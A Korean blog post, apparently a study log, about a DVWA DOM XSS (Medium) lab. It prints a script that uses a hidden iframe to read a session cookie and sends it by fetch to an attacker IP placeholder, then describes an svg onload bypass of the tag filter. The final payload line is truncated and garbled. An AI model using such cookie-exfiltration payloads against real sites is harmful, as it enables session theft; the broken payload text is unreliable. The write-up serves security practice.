모의해킹 실습 중, DVWA DOM XSS(Medium) 환경에서 다른 페이지의 세션 정보를 탈취하기 위해 스크립트를 구성하였는데 실행되지 않았다. 이건 그 이야기이다,.,.,.
SOP를 우회하기 위해 Iframe을 사용하여 /vulnerabilities/weak_id/로 Path가 설정된 dvwaSession을 탈취하기 위해 다음과 같이 스크립트를 작성하였다.
#<script>
var i = document.createElement('iframe');
i.src = '/DVWA/vulnerabilities/weak_id/';
i.style.display = 'none';
i.onload = function() {
fetch('[http://[공격자 IP 주소]/?time=](http://[공격자 IP 주소]/?time=)' + Math.floor(Date.now()/1000) + '&cookie=' + i.contentWindow.document.cookie);
};
document.body.appendChild(i);
</script>
음 내가 작성한 스크립트의 원리는
<script 차단 로직이 있기 때문에 이를 우회하기 위해서이다.
iframe을 생성하여 타겟 페이지(/weak_id/)를 백그라운드에서 로드한다.i.contentWindow.document.cookie를 통해 해당 페이지의 쿠키를 읽는다.fetch API를 사용하여 내 서버로 시간 정보와 쿠키를 전송한다.였는데 스크립트가 실행되지 않았다.
스크립트가 잘못 작성된 게 아니라 브라우저와 HTML의 구조적 특징 때문에 실행이 되지 않았다.

DVWA는 입력값을 innerHTML을 통해 DOM에 주입하게 되는데, HTML5 보안 명세에 따르면 innerHTML로 삽입된 <script> 태그는 실행되지 않는다고 한다.
해당 코드는 DVWA Medium 레벨의 XSS(DOM) 클라이언트 측 소스코드이다. 73~75번 줄을 보면 사용자 입력값이 document.location.href()를 통해 lang 변수로 저장되고 있다.
내가 작성한 스크립트는 <option> 태그 내부의 Value 값으로 (InnerHTML)로 들어가게 된다.
즉 브라우저는 "동적으로 들어온 스크립트는 위험하다"고 판단하여 구문 분석만 하고 실행은 거부하여 실행이 되지 않았던 것이다
<script> 태그말고 이벤트 속성을 이용하여 작성해주었다. innerHTML은 태그는 차단해도, 그 안의 onerror나 onload 속성에 담긴 자바스크립트는 실행한다고 하니 이를 우회하도록 시도했다.
<svg> 태그가 로드되는 순간(onload) 내가 짠 로직이 실행되도록 했다.
`></option>
<svghttps://velog.velcdn.com/images/igoeun0131/post/d5d5229b-29af-48ee-9090-60b6aebbc4a6/image.png">
4. 결론
동적으로 삽입되는 <script>는 브라우저가 실행하지 않는다.
브라우저 보안 규칙을 좀 찾아봐야겠다.